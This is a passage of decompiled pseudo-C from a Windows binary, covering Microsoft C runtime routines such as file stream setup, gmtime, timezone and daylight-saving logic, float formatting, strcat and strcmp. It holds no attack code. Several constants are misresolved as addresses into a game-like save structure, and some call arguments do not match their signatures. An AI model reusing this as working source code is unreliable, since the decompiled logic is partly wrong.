LABEL_5; } LABEL_6: v1 = (int)calloc(v0, 4u); __piob = v1; if ( v1 || (_nstream = 20, v1 = (int)calloc(0x14u, 4u), (__piob = v1) != 0) ) { v3 = 0; v4 = _iob; while ( 1 ) { *(_DWORD *)(v3 + v1) = v4; ++v4; v3 += 4; if ( (signed int)v4 >= (signed int)&_timezone ) break; v1 = __piob; } v5 = 0; v6 = (signed int)&unk_611258; do { v7 = *(_DWORD *)(__pioinfo[v5 >> 5] + 36 * (v5 & 0x1F)); if ( v7 == -1 || !v7 ) *(_DWORD *)v6 = -1; v6 += 32; ++v5; } while ( v6 < (signed int)&unk_6112B8 ); result = 0; } else { result = 26; } return result; } // 146D05C0: using guessed type int __pioinfo[]; // 146D092C: using guessed type int __piob; //----- (0057E290) -------------------------------------------------------- int __cdecl __endstdio() { int result; // eax@1 result = _flushall(); if ( _exitflag ) _fcloseall(); return result; } // 146D00E4: using guessed type char _exitflag; //----- (0057E2A4) -------------------------------------------------------- void __cdecl _lock_file(void *pf) { if ( pf < _iob || pf > &unk_6114A8 ) EnterCriticalSection((LPCRITICAL_SECTION)((char *)pf + 32)); else _lock(((signed int)(pf - _iob) >> 5) + 16); } //----- (0057E2D3) -------------------------------------------------------- void __cdecl _lock_file2(int i, void *s) { if ( i >= 20 ) EnterCriticalSection((LPCRITICAL_SECTION)((char *)s + 32)); else _lock(i + 16); } //----- (0057E2F6) -------------------------------------------------------- void __cdecl _unlock_file(void *pf) { if ( pf < _iob || pf > &unk_6114A8 ) LeaveCriticalSection((LPCRITICAL_SECTION)((char *)pf + 32)); else _unlock(((signed int)(pf - _iob) >> 5) + 16); } //----- (0057E325) -------------------------------------------------------- void __cdecl _unlock_file2(int i, void *s) { if ( i >= 20 ) LeaveCriticalSection((LPCRITICAL_SECTION)((char *)s + 32)); else _unlock(i + 16); } //----- (0057E348) -------------------------------------------------------- _iobuf *__cdecl _openfile(const char *filename, const char *mode, int shflag, _iobuf *str) { const char *v4; // edi@1 const char v5; // al@1 signed int v6; // ecx@4 int v7; // esi@5 signed int v8; // edx@8 int v9; // eax@10 int v10; // eax@12 int v11; // eax@13 int v12; // eax@14 int v13; // eax@26 int v14; // eax@27 int v15; // eax@28 int v16; // ecx@40 _iobuf *result; // eax@41 signed int commodeset; // [sp+Ch] [bp-8h]@1 signed int scanset; // [sp+10h] [bp-4h]@1 v4 = mode; v5 = *mode; commodeset = 0; scanset = 0; if ( *mode == 97 ) { v6 = 265; LABEL_7: v7 = _commode | 2; goto LABEL_8; } if ( v5 != 114 ) { if ( v5 != 119 ) goto LABEL_41; v6 = 769; goto LABEL_7; } v6 = 0; v7 = _commode | 1; LABEL_8: v8 = 1; while ( 1 ) { ++v4; LOBYTE(v9) = *v4; if ( !*v4 ) break; if ( !v8 ) break; v9 = (char)v9; if ( (char)v9 > 84 ) { v13 = v9 - 98; if ( v13 ) { v14 = v13 - 1; if ( v14 ) { v15 = v14 - 11; if ( v15 ) { if ( v15 != 6 || BYTE1(v6) & 0xC0 ) LABEL_35: v8 = 0; else v6 |= 0x4000u; } else { if ( commodeset ) goto LABEL_35; commodeset = 1; v7 &= 0xFFFFBFFFu; } } else { if ( commodeset ) goto LABEL_35; commodeset = 1; v7 |= 0x4000u; } } else { if ( BYTE1(v6) & 0xC0 ) goto LABEL_35; v6 |= 0x8000u; } } else { if ( (char)v9 == 84 ) { if ( v6 & 0x1000 ) goto LABEL_35; v6 |= 0x1000u; } else { v10 = v9 - 43; if ( v10 ) { v11 = v10 - 25; if ( v11 ) { v12 = v11 - 14; if ( v12 ) { if ( v12 != 1 || scanset ) goto LABEL_35; scanset = 1; v6 |= 0x20u; } else { if ( scanset ) goto LABEL_35; scanset = 1; v6 |= 0x10u; } } else { if ( v6 & 0x40 ) goto LABEL_35; v6 |= 0x40u; } } else { if ( v6 & 2 ) goto LABEL_35; v6 = v6 & 0xFFFFFFFE | 2; v7 = v7 & 0xFFFFFFFC | 0x80; } } } } v16 = _sopen(filename, v6, shflag); if ( v16 >= 0 ) { result = str; ++_cflush; str->_flag = v7; str->_cnt = 0; str->_ptr = 0; str->_base = 0; str->_tmpfname = 0; str->_file = v16; } else { LABEL_41: result = 0; } return result; } // 146D0278: using guessed type int _cflush; // 146D059C: using guessed type int _commode; //----- (0057E4B0) -------------------------------------------------------- _iobuf *__cdecl _getstream() { int v0; // edi@1 int i; // esi@1 int v2; // eax@3 int v3; // esi@12 int v4; // eax@12 _iobuf *result; // eax@18 v0 = 0; _lock(1); for ( i = 0; i < (signed int)_nstream; ++i ) { v2 = *(_DWORD *)(__piob + 4 * i); if ( !v2 ) { v3 = 4 * i; *(_DWORD *)(v3 + __piob) = malloc(0x38u); v4 = *(_DWORD *)(v3 + __piob); if ( v4 ) { if ( __crtInitCritSecAndSpinCount((_RTL_CRITICAL_SECTION *)(v4 + 32), 0xFA0u) ) { EnterCriticalSection((LPCRITICAL_SECTION)(*(_DWORD *)(v3 + __piob) + 32)); v0 = *(_DWORD *)(v3 + __piob); } else { free(*(void **)(v3 + __piob)); *(_DWORD *)(v3 + __piob) = 0; } } break; } if ( !(*(_BYTE *)(v2 + 12) & 0x83) ) { if ( i > 2 && i < 20 && !_mtinitlocknum(i + 16) ) break; _lock_file2(i, *(void **)(__piob + 4 * i)); if ( !(*(_BYTE *)(*(_DWORD *)(__piob + 4 * i) + 12) & 0x83) ) { v0 = *(_DWORD *)(__piob + 4 * i); break; } _unlock_file2(i, *(void **)(__piob + 4 * i)); } } if ( v0 ) { *(_DWORD *)(v0 + 4) = 0; *(_DWORD *)(v0 + 12) = 0; *(_DWORD *)(v0 + 8) = 0; *(_DWORD *)v0 = 0; *(_DWORD *)(v0 + 28) = 0; *(_DWORD *)(v0 + 16) = -1; } _unlock(1); return result; } // 146D092C: using guessed type int __piob; //----- (0057E5D2) -------------------------------------------------------- tm *__cdecl gmtime(const int *timp) { signed int v1; // esi@1 signed int v2; // ebx@1 _tiddata *v3; // eax@1 _tiddata *v4; // edi@1 tm *result; // eax@2 void *v6; // eax@4 tm *v7; // ecx@4 int v8; // eax@6 signed int v9; // esi@6 int v10; // edx@6 _UNKNOWN *v11; // edi@11 int v12; // esi@11 int v13; // eax@13 signed int v14; // edx@13 int v15; // edx@15 int v16; // esi@15 v1 = *timp; v2 = 0; v3 = _getptd(); v4 = v3; if ( v1 >= 0 ) { if ( v3->_gmtimebuf || (v6 = malloc(0x24u), v4->_gmtimebuf = v6, v7 = &tb, v6) ) v7 = (tm *)v4->_gmtimebuf; v8 = v1 / (signed int)&wholesaver.ws_savestore[1487].esc_skill.buffer[8612]; v9 = -126230400 * v1 / (signed int)&wholesaver.ws_savestore[1487].esc_skill.buffer[8612] + v1; v10 = 4 * v8 + 70; if ( v9 >= (signed int)&wholesaver.ws_savestore[290].gapf2b8[8992] ) { v9 -= (signed int)&wholesaver.ws_savestore[290].gapf2b8[8992]; v10 = 4 * v8 + 71; if ( v9 >= (signed int)&wholesaver.ws_savestore[290].gapf2b8[8992] ) { v9 -= (signed int)&wholesaver.ws_savestore[290].gapf2b8[8992]; v10 = 4 * v8 + 72; if ( v9 < (signed int)&wholesaver.ws_savestore[291].gapf2b8[16256] ) { v2 = 1; } else { v10 = 4 * v8 + 73; v9 -= (signed int)&wholesaver.ws_savestore[291].gapf2b8[16256]; } } } v7->tm_year = v10; v11 = &_lpdays; v7->tm_yday = v9 / 86400; v12 = v9 % 86400; if ( !v2 ) v11 = &_days; v13 = v7->tm_yday; v14 = 1; if ( *((_DWORD *)v11 + 1) < v13 ) { do ++v14; while ( *((_DWORD *)v11 + v14) < v13 ); } v15 = v14 - 1; v7->tm_mon = v15; v7->tm_mday = v13 - *((_DWORD *)v11 + v15); v7->tm_wday = (*timp / 86400 + 4) % 7; v7->tm_hour = v12 / 3600; v16 = v12 % 3600; v7->tm_min = v16 / 60; v7->tm_isdst = 0; v7->tm_sec = v16 % 60; result = v7; } else { result = 0; } return result; } //----- (0057E6D9) -------------------------------------------------------- void __cdecl tzset_lk() { UINT v0; // ebx@1 char *v1; // eax@1 const char *v2; // esi@1 size_t v3; // eax@7 void *v4; // eax@7 int defused; // [sp+18h] [bp-1Ch]@22 CPPEH_RECORD ms_exc; // [sp+1Ch] [bp-18h]@1 _lock(7); ms_exc.disabled = 0; v0 = __lc_codepage; tzapiused = 0; dstend.yr = -1; dststart.yr = -1; v1 = _getenv_lk("TZ"); v2 = v1; if ( !v1 || !*v1 ) { if ( lastTZ ) { free(lastTZ); lastTZ = 0; } if ( GetTimeZoneInformation(&tzinfo) != -1 ) { tzapiused = 1; _timezone = 60 * tzinfo.Bias; if ( tzinfo.StandardDate.wMonth ) _timezone = 60 * tzinfo.StandardBias + 60 * tzinfo.Bias; if ( tzinfo.DaylightDate.wMonth && tzinfo.DaylightBias ) { _daylight = 1; _dstbias = 60 * (tzinfo.DaylightBias - tzinfo.StandardBias); } else { _daylight = 0; _dstbias = 0; } if ( !WideCharToMultiByte(v0, 0, tzinfo.StandardName, -1, _tzname, 63, 0, &defused) || defused ) *_tzname = 0; else _tzname[63] = 0; if ( !WideCharToMultiByte(v0, 0, tzinfo.DaylightName, -1, lpMultiByteStr, 63, 0, &defused) || defused ) *lpMultiByteStr = 0; else lpMultiByteStr[63] = 0; } goto LABEL_30; } if ( lastTZ ) { if ( !strcmp(v1, lastTZ) ) goto LABEL_30; if ( lastTZ ) free(lastTZ); } v3 = strlen(v2); v4 = malloc(v3 + 1); lastTZ = (char *)v4; if ( v4 ) { strcpy((char *)v4, v2); ms_exc.disabled = -1; _unlock(7); return; } LABEL_30: _local_unwind2((int)&ms_exc.prev_er, -1); } //----- (0057E981) -------------------------------------------------------- void __usercall cvtdate(int month, int hour, int trantype, int datetype, int year, int week, int dayofweek, int date, int min, int sec, int msec) { int v11; // edi@1 int v12; // esi@1 int v13; // edx@1 int v14; // eax@5 int v15; // esi@5 int v16; // esi@7 int v17; // edx@7 int v18; // eax@7 int v19; // esi@8 int v20; // eax@14 int v21; // esi@21 int v22; // ecx@24 __int32 v23; // ecx@26 bool v24; // sf@26 int v25; // ecx@26 char *v26; // ecx@27 int v27; // esi@27 int datetypea; // [sp+20h] [bp+Ch]@7 v11 = year; v12 = month; v13 = year % 4; if ( datetype == 1 ) { if ( (v13 || !(year % 100)) && (year + 1900) % 400 ) { v14 = 4 * month; v15 = *(&dword_6115A8 + v12); } else { v14 = 4 * month; v15 = *(&dword_611574 + v12); } datetypea = v14; v16 = v15 + 1; v11 = year; v17 = (365 * year + (year + 299) / 400 - (year - 1) / 100 + v16 + (year - 1) / 4 - 25563) % 7; v18 = dayofweek + 7 * week - v17; if ( v17 > dayofweek ) v19 = v18 + v16; else v19 = v16 + v18 - 7; if ( week == 5 ) { if ( (year % 4 || !(year % 100)) && (year + 1900) % 400 ) v20 = *(_DWORD *)((char *)&_days + datetypea); else v20 = *(_DWORD *)((char *)&_lpdays + datetypea); if ( v19 > v20 ) v19 -= 7; } } else { if ( (v13 || !(year % 100)) && (year + 1900) % 400 ) v21 = *(&dword_6115A8 + month); else v21 = *(&dword_611574 + month); v19 = date + v21; } v22 = 60 * (min + 60 * hour); if ( trantype == 1 ) { unk_611564 = v19; dststart.yr = v11; unk_611568 = msec + 1000 * (sec + v22); return; } unk_611570 = v19; v23 = 1000 * (sec + _dstbias + v22); v24 = msec + v23 < 0; v25 = msec + v23; dword_611574 = v25; if ( v24 ) { v26 = &wholesaver.ws_savestore[984].esc_abstate.buffer[v25 + 14632]; v27 = v19 - 1; LABEL_30: dword_611574 = v26; unk_611570 = v27; goto LABEL_31; } if ( v25 >= (signed int)&wholesaver.ws_savestore[984].esc_abstate.buffer[14632] ) { v26 = (char *)(v25 - (_DWORD)((char *)&wholesaver + 77884576)); v27 = v19 + 1; goto LABEL_30; } LABEL_31: dstend.yr = v11; } //----- (0057EB39) -------------------------------------------------------- int __usercall isindst_lk(tm *tb) { int v2; // edi@3 int v3; // ecx@14 int v4; // eax@26 int v5; // ecx@27 int v6; // [sp-28h] [bp-2Ch]@7 int v7; // [sp-28h] [bp-2Ch]@10 int v8; // [sp-24h] [bp-28h]@7 int v9; // [sp-24h] [bp-28h]@10 int v10; // [sp-20h] [bp-24h]@7 int v11; // [sp-20h] [bp-24h]@10 int v12; // [sp-1Ch] [bp-20h]@7 int v13; // [sp-1Ch] [bp-20h]@10 int v14; // [sp-18h] [bp-1Ch]@7 int v15; // [sp-18h] [bp-1Ch]@10 if ( !_daylight ) return 0; v2 = tb->tm_year; if ( v2 != dststart.yr || v2 != dstend.yr ) { if ( tzapiused ) { if ( tzinfo.DaylightDate.wYear ) { v14 = tzinfo.DaylightDate.wDay; v12 = 0; v10 = 0; v8 = tb->tm_year; v6 = 0; } else { v14 = 0; v12 = tzinfo.DaylightDate.wDayOfWeek; v10 = tzinfo.DaylightDate.wDay; v8 = tb->tm_year; v6 = 1; } cvtdate( 1, v6, v8, tzinfo.DaylightDate.wMonth, v10, v12, v14, tzinfo.DaylightDate.wHour, tzinfo.DaylightDate.wMinute, tzinfo.DaylightDate.wSecond, tzinfo.DaylightDate.wMilliseconds); if ( tzinfo.StandardDate.wYear ) { v15 = tzinfo.StandardDate.wDay; v13 = 0; v11 = 0; v9 = v2; v7 = 0; } else { v15 = 0; v13 = tzinfo.StandardDate.wDayOfWeek; v11 = tzinfo.StandardDate.wDay; v9 = v2; v7 = 1; } cvtdate( 0, v7, v9, tzinfo.StandardDate.wMonth, v11, v13, v15, tzinfo.StandardDate.wHour, tzinfo.StandardDate.wMinute, tzinfo.StandardDate.wSecond, tzinfo.StandardDate.wMilliseconds); } else { cvtdate(1, 1, v2, 4, 1, 0, 0, 2, 0, 0, 0); cvtdate(0, 1, v2, 10, 5, 0, 0, 2, 0, 0, 0); } } v3 = tb->tm_yday; if ( unk_611564 >= unk_611570 ) { if ( v3 < unk_611570 || v3 > unk_611564 ) return 1; if ( v3 <= unk_611570 || v3 >= unk_611564 ) goto LABEL_26; return 0; } if ( v3 < unk_611564 || v3 > unk_611570 ) return 0; if ( v3 > unk_611564 && v3 < unk_611570 ) return 1; LABEL_26: v4 = 1000 * (tb->tm_sec + 60 * (tb->tm_min + 60 * tb->tm_hour)); if ( v3 == unk_611564 ) { v5 = v4 < unk_611568; LOBYTE(v5) = v4 >= unk_611568; } else { v5 = v4 < dword_611574; } return v5; } //----- (0057ECC0) -------------------------------------------------------- void __cdecl __tzset() { if ( !first_time ) { _lock(6); if ( !first_time ) { tzset_lk(); ++first_time; } _unlock(6); } } //----- (0057ED0C) -------------------------------------------------------- int __cdecl _isindst(tm *tb) { int result; // eax@1 _lock(6); isindst_lk(tb); _unlock(6); return result; } //----- (0057ED4A) -------------------------------------------------------- void __cdecl _forcdecpt(char *buffer) { int *v1; // esi@1 bool i; // zf@1 char v3; // al@4 int v4; // esi@4 char v5; // cl@5 char v6; // cl@5 v1 = (int *)buffer; for ( i = tolower(*buffer) == 101; !i; i = isdigit(*(_BYTE *)v1) == 0 ) v1 = (int *)((char *)v1 + 1); v3 = *(_BYTE *)v1; *(_BYTE *)v1 = __decimal_point; v4 = (int)((char *)v1 + 1); do { v5 = *(_BYTE *)v4; *(_BYTE *)v4 = v3; v3 = v5; v6 = *(_BYTE *)v4++; } while ( v6 ); } //----- (0057ED86) -------------------------------------------------------- void __cdecl _cropzeros(char *buf) { char *i; // eax@1 char v2; // cl@5 int v3; // eax@5 char v4; // cl@10 int v5; // edx@11 char v6; // cl@15 for ( i = buf; *i && *i != __decimal_point; ++i ) ; v2 = *i; v3 = (int)(i + 1); if ( v2 ) { while ( 1 ) { v4 = *(_BYTE *)v3; if ( !*(_BYTE *)v3 ) break; if ( v4 == 101 || v4 == 69 ) break; ++v3; } v5 = v3; do --v3; while ( *(_BYTE *)v3 == 48 ); if ( *(_BYTE *)v3 == __decimal_point ) --v3; do { v6 = *(_BYTE *)v5; ++v3; ++v5; *(_BYTE *)v3 = v6; } while ( v6 ); } } //----- (0057EDD1) -------------------------------------------------------- int __cdecl _positive(long double *arg) { return *arg >= 0.0; } //----- (0057EDEB) -------------------------------------------------------- void __cdecl _fassign(int flag, char *argument, char *number) { char *v3; // eax@2 DOUBLE doubletemp; // [sp+0h] [bp-8h]@2 if ( flag ) { _atodbl(&doubletemp, number); v3 = argument; *(_DWORD *)argument = (_DWORD)doubletemp.x; *((_DWORD *)v3 + 1) = HIDWORD(doubletemp.x); } else { _atoflt((FLOAT *)&flag, number); *(_DWORD *)argument = flag; } } //----- (0057EE29) -------------------------------------------------------- void __usercall shift(char *s, int dist) { char *v2; // esi@1 size_t v3; // eax@2 v2 = s; if ( dist ) { v3 = strlen(s); memmove(&v2[dist], v2, v3 + 1); } } //----- (0057EE46) -------------------------------------------------------- char *__usercall cftoe2(char *buf, _strflt *pflt, int ndec, int caps, char g_fmt) { _strflt *v5; // esi@1 char *v6; // eax@3 char *v7; // eax@7 int v8; // ecx@9 signed int v9; // eax@10 int v10; // ecx@12 int v11; // ecx@14 v5 = pflt; if ( g_fmt ) shift(&buf[pflt->sign == 45], ndec > 0); v6 = buf; if ( v5->sign == 45 ) { *buf = 45; v6 = buf + 1; } if ( ndec > 0 ) { *v6 = v6[1]; ++v6; *v6 = __decimal_point; } v7 = strcpy(&v6[g_fmt == 0] + ndec, "e+000"); if ( caps ) *v7 = 69; v8 = (int)(v7 + 1); if ( *v5->mantissa != 48 ) { v9 = v5->decpt - 1; if ( v9 < 0 ) { v9 = -v9; *(_BYTE *)v8 = 45; } v10 = v8 + 1; if ( v9 >= 100 ) { *(_BYTE *)v10 += v9 / 100; v9 %= 100; } v11 = v10 + 1; if ( v9 >= 10 ) { *(_BYTE *)v11 += v9 / 10; v9 %= 10; } *(_BYTE *)(v11 + 1) += v9; } return buf; } //----- (0057EEF4) -------------------------------------------------------- char *__cdecl _cftoe(long double *pvalue, char *buf, int ndec, int caps) { _strflt retstrflt; // [sp+8h] [bp-2Ch]@1 char resstr[22]; // [sp+18h] [bp-1Ch]@1 _fltout2(*(DOUBLE *)pvalue, &retstrflt, resstr); _fptostr(&buf[retstrflt.sign == 45] + (ndec > 0), ndec + 1, &retstrflt); cftoe2(buf, ndec, caps, &retstrflt, 0); return buf; } //----- (0057EF60) -------------------------------------------------------- char *__usercall cftof2(_strflt *pflt, char *buf, int ndec, char g_fmt) { _strflt *v4; // esi@1 int v5; // eax@1 int v6; // ecx@3 char *v7; // ebx@4 int v8; // eax@6 int v9; // ebx@7 int v10; // esi@10 char *v11; // ebx@10 int v12; // esi@11 v4 = pflt; v5 = pflt->decpt - 1; if ( g_fmt && v5 == ndec ) { v6 = v5 + (v4->sign == 45); buf[v6] = 48; buf[v6 + 1] = 0; } v7 = buf; if ( v4->sign == 45 ) { *buf = 45; v7 = buf + 1; } v8 = v4->decpt; if ( v8 > 0 ) { v9 = (int)&v7[v8]; } else { shift(v7, 1); *v7 = 48; v9 = (int)(v7 + 1); } if ( ndec > 0 ) { shift((char *)v9, 1); *(_BYTE *)v9 = __decimal_point; v10 = v4->decpt; v11 = (char *)(v9 + 1); if ( v10 < 0 ) { v12 = -v10; if ( g_fmt || ndec >= v12 ) ndec = v12; shift(v11, ndec); memset(v11, 48, ndec); } } return buf; } //----- (0057EFFC) -------------------------------------------------------- char *__cdecl _cftof(long double *pvalue, char *buf, int ndec) { _strflt retstrflt; // [sp+4h] [bp-2Ch]@1 char resstr[22]; // [sp+14h] [bp-1Ch]@1 _fltout2(*(DOUBLE *)pvalue, &retstrflt, resstr); _fptostr(&buf[retstrflt.sign == 45], ndec + retstrflt.decpt, &retstrflt); cftof2(buf, ndec, &retstrflt, 0); return buf; } //----- (0057F05E) -------------------------------------------------------- char *__cdecl _cftog(long double *pvalue, char *buf, int ndec, int caps) { int v4; // esi@1 char *v5; // edi@1 char v6; // al@4 char *result; // eax@6 _strflt retstrflt; // [sp+Ch] [bp-2Ch]@1 char resstr[22]; // [sp+1Ch] [bp-1Ch]@1 _fltout2(*(DOUBLE *)pvalue, &retstrflt, resstr); v4 = retstrflt.decpt - 1; v5 = &buf[retstrflt.sign == 45]; _fptostr(&buf[retstrflt.sign == 45], ndec, &retstrflt); if ( retstrflt.decpt - 1 < -4 || retstrflt.decpt - 1 >= ndec ) { result = cftoe2(buf, ndec, caps, &retstrflt, 1); } else { if ( v4 < retstrflt.decpt - 1 ) { do v6 = *v5++; while ( v6 ); *(v5 - 2) = 0; } result = cftof2(buf, ndec, &retstrflt, 1); } return result; } //----- (0057F0F8) -------------------------------------------------------- void __cdecl _cfltcvt(long double *arg, char *buffer, int format, int precision, int caps) { if ( format == 101 || format == 69 ) { _cftoe(arg, buffer, precision, caps); } else { if ( format == 102 ) _cftof(arg, buffer, precision); else _cftog(arg, buffer, precision, caps); } } //----- (0057F149) -------------------------------------------------------- unsigned int __cdecl _setdefaultprecision() { return _controlfp(0x10000u, 0x30000u); } //----- (0057F15B) -------------------------------------------------------- int __cdecl _ms_p5_test_fdiv() { return 4195835.0 - 4195835.0 / 3145727.0 * 3145727.0 > 1.0; } //----- (0057F19B) -------------------------------------------------------- int __cdecl _ms_p5_mp_test_fdiv() { HINSTANCE__ *v0; // eax@1 FARPROC v1; // eax@2 int result; // eax@3 v0 = GetModuleHandleA("KERNEL32"); if ( v0 && (v1 = GetProcAddress(v0, "IsProcessorFeaturePresent")) != 0 ) result = ((int (__stdcall *)(_DWORD))v1)(0); else result = _ms_p5_test_fdiv(); return result; } //----- (0057F1C4) -------------------------------------------------------- int __stdcall __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *pPtrs) { _EXCEPTION_RECORD *v1; // eax@1 unsigned int v2; // eax@3 int result; // eax@8 v1 = pPtrs->ExceptionRecord; if ( pPtrs->ExceptionRecord->ExceptionCode == -529697949 ) { if ( v1->NumberParameters == 3 ) { v2 = v1->ExceptionInformation[0]; if ( v2 == 429065504 || v2 == 429065505 ) terminate(); } } if ( pOldExceptFilter && _ValidateExecute((int (__stdcall *)())pOldExceptFilter) ) result = pOldExceptFilter(pPtrs); else result = 0; return result; } //----- (0057F212) -------------------------------------------------------- int __cdecl __CxxSetUnhandledExceptionFilter() { pOldExceptFilter = SetUnhandledExceptionFilter(__CxxUnhandledExceptionFilter); return 0; } //----- (0057F225) -------------------------------------------------------- LPTOP_LEVEL_EXCEPTION_FILTER __cdecl __CxxRestoreUnhandledExceptionFilter() { return SetUnhandledExceptionFilter(pOldExceptFilter); } //----- (0057F240) -------------------------------------------------------- char *__cdecl strcpy(char *Dest, const char *Source) { JUMPOUT(copy_start); } // 57F2B5: using guessed type int __cdecl copy_start(int Dest, int Source); //----- (0057F250) -------------------------------------------------------- char *__cdecl strcat(char *Dest, const char *Source) { char *v2; // ecx@1 char v3; // al@2 int v4; // eax@4 int v5; // eax@5 int v6; // edi@9 const char *v7; // ecx@13 int v8; // edx@14 int v9; // eax@18 char *result; // eax@23 v2 = Dest; if ( !((unsigned __int8)Dest & 3) ) goto find_end_of_dest_string_loop; do { v3 = *v2++; if ( !v3 ) { start_byte_3: v6 = (int)(v2 - 1); goto copy_start; } } while ( (unsigned __int8)v2 & 3 ); while ( 1 ) { do { find_end_of_dest_string_loop: v4 = (*(_DWORD *)v2 + 2130640639) ^ ~*(_DWORD *)v2; v2 += 4; } while ( !(v4 & 0x81010100) ); v5 = *((_DWORD *)v2 - 1); if ( !(_BYTE)v5 ) break; if ( !BYTE1(v5) ) { v6 = (int)(v2 - 3); goto copy_start; } if ( !((unsigned int)&wholesaver.ws_savestore[103].esc_skill.buffer[14116] & v5) ) { v6 = (int)(v2 - 2); goto copy_start; } if ( !(v5 & 0xFF000000) ) goto start_byte_3; } v6 = (int)(v2 - 4); copy_start: v7 = Source; if ( !((unsigned __int8)Source & 3) ) goto main_loop_entrance_0; while ( 1 ) { LOBYTE(v8) = *v7++; if ( !(_BYTE)v8 ) break; *(_BYTE *)v6++ = v8; if ( !((unsigned __int8)v7 & 3) ) { while ( 1 ) { main_loop_entrance_0: v9 = (*(_DWORD *)v7 + 2130640639) ^ ~*(_DWORD *)v7; v8 = *(_DWORD *)v7; v7 += 4; if ( v9 & 0x81010100 ) { if ( !(_BYTE)v8 ) goto LABEL_26; if ( !BYTE1(v8) ) { *(_WORD *)v6 = v8; return Dest; } if ( !((unsigned int)&wholesaver.ws_savestore[103].esc_skill.buffer[14116] & v8) ) { *(_WORD *)v6 = v8; result = Dest; *(_BYTE *)(v6 + 2) = 0; return result; } if ( !(v8 & 0xFF000000) ) { *(_DWORD *)v6 = v8; return Dest; } } *(_DWORD *)v6 = v8; v6 += 4; } } } LABEL_26: *(_BYTE *)v6 = v8; return Dest; } //----- (0057F340) -------------------------------------------------------- int __cdecl strcmp(const char *Str1, const char *Str2) { const char *v2; // edx@1 const char *v3; // ecx@1 unsigned int v4; // eax@2 bool v5; // cf@2 unsigned int v6; // eax@6 __int16 v8; // ax@16 v2 = Str1; v3 = Str2; if ( !((unsigned __int8)Str1 & 3) ) { dodwords: while ( 1 ) { v4 = *(_DWORD *)v2; v5 = (unsigned __int8)*(_DWORD *)v2 < *v3; if ( (unsigned __int8)*(_DWORD *)v2 != *v3 ) break; if ( !(_BYTE)v4 ) return 0; v5 = BYTE1(v4) < v3[1]; if ( BYTE1(v4) != v3[1] ) break; if ( !BYTE1(v4) ) return 0; v6 = v4 >> 16; v5 = (unsigned __int8)v6 < v3[2]; if ( (_BYTE)v6 != v3[2] ) break; if ( !(_BYTE)v6 ) return 0; v5 = BYTE1(v6) < v3[3]; if ( BYTE1(v6) != v3[3] ) break; v3 += 4; v2 += 4; if ( !BYTE1(v6) ) return 0; } return -2 * v5 + 1; } if ( (unsigned __int8)Str1 & 1 ) { v2 = Str1 + 1; v5 = *Str1 < (unsigned __int8)*Str2; if ( *Str1 != *Str2 ) return -2 * v5 + 1; v3 = Str2 + 1; if ( !*Str1 ) return 0; if ( !((unsigned __int8)v2 & 2) ) goto dodwords; } v8 = *(_WORD *)v2; v2 += 2; v5 = (unsigned __int8)v8 < *v3; if ( (_BYTE)v8 != *v3 ) return -2 * v5 + 1; if ( !(_BYTE)v8 ) return 0; v5 = HIBYTE(v8) < v3[1]; if ( HIBYTE(v8) == v3[1] ) { if ( HIBYTE(v8) ) { v3 += 2; goto dodwords; } return 0; } return -2 * v5 + 1; } //----- (0057F3C8) -------------------------------------------------------- int __cdecl _stbuf(_iobuf *str) { signed int v1; // eax@3 int v2; // edi@7 void *v3; // eax@8 char *v4; // edi@10 if ( !_isatty(str->_file) ) return 0; if ( str == &stru_611268 ) { v1 = 0; } else { if ( (_UNKNOWN *)str != &unk_611288 ) return 0; v1 = 1; } ++_cflush; if ( str->_flag & 0x10C ) return 0; v2 = 4 * v1 + 342688604; if ( _stdbuf[v1] || (v3 = malloc(0x1000u), (*(_DWORD *)v2 = v3) != 0) ) { v4 = *(char **)v2; str->_base = v4; str->_ptr = v4; str->_bufsiz = 4096; str->_cnt = 4096; } else { str->_base = (char *)&str->_charbuf; str->_ptr = (char *)&str->_charbuf; str->_bufsiz = 2; str->_cnt = 2; } LOWORD(str->_flag) |= 0x1102u; return 1; } // 146D0278: using guessed type int _cflush; //----- (0057F450) -------------------------------------------------------- void __cdecl _ftbuf(int flag, _iobuf *str) { if ( flag ) { if ( BYTE1(str->_flag) & 0x10 ) { _flush(str); BYTE1(str->_flag) &= 0xEEu; str->_bufsiz = 0; str->_ptr = 0; str->_base = 0; } } } //----- (0057F47A) -------------------------------------------------------- int __cdecl _write_lk(int fh, const void *buf, unsigned int cnt) { unsigned int v3; // edi@1 int v5; // esi@3 int v6; // eax@5 unsigned int v7; // ecx@7 int v8; // eax@7 const void *v9; // edx@9 char v10; // dl@9 int v11; // edi@12 int written; // [sp+4h] [bp-80h]@12 int lfcount; // [sp+8h] [bp-7Ch]@1 int charcount; // [sp+Ch] [bp-78h]@1 const void *p; // [sp+10h] [bp-74h]@6 unsigned int v16; // [sp+14h] [bp-70h]@7 unsigned int dosretval; // [sp+18h] [bp-6Ch]@6 char lfbuf[1025]; // [sp+1Ch] [bp-68h]@7 v3 = 0; charcount = 0; lfcount = 0; if ( !cnt ) return 0; v5 = 36 * (fh & 0x1F); if ( *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 4) & 0x20 ) _lseeki64_lk(fh, 0i64, 2); v6 = v5 + __pioinfo[fh >> 5]; if ( *(_BYTE *)(v6 + 4) & 0x80 ) { p = buf; dosretval = 0; if ( cnt <= 0 ) goto LABEL_26; while ( 1 ) { v7 = p - buf; v8 = (int)lfbuf; v16 = v3; do { if ( v7 >= cnt ) break; v9 = p; p = (char *)p + 1; v10 = *(_BYTE *)v9; ++v7; if ( v10 == 10 ) { ++lfcount; *(_BYTE *)v8++ = 13; ++v16; } *(_BYTE *)v8++ = v10; ++v16; } while ( (signed int)v16 < 1024 ); v11 = v8 - (_DWORD)lfbuf; if ( !WriteFile(*(HANDLE *)(__pioinfo[fh >> 5] + v5), lfbuf, v8 - (_DWORD)lfbuf, (LPDWORD)&written, 0) ) break; charcount += written; if ( written < v11 ) goto LABEL_17; v3 = 0; if ( p - buf >= cnt ) goto LABEL_18; } dosretval = GetLastError(); LABEL_17: v3 = 0; } else { if ( WriteFile(*(HANDLE *)v6, buf, cnt, (LPDWORD)&written, 0) ) { dosretval = 0; charcount = written; } else { dosretval = GetLastError(); } } LABEL_18: if ( charcount == v3 ) { if ( dosretval != v3 ) { if ( dosretval == 5 ) { *_errno() = 9; *__doserrno() = 5; } else { _dosmaperr(dosretval); } return -1; } LABEL_26: if ( *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 4) & 0x40 && *(_BYTE *)buf == 26 ) return 0; *_errno() = 28; *__doserrno() = v3; return -1; } return charcount - lfcount; } // 146D05C0: using guessed 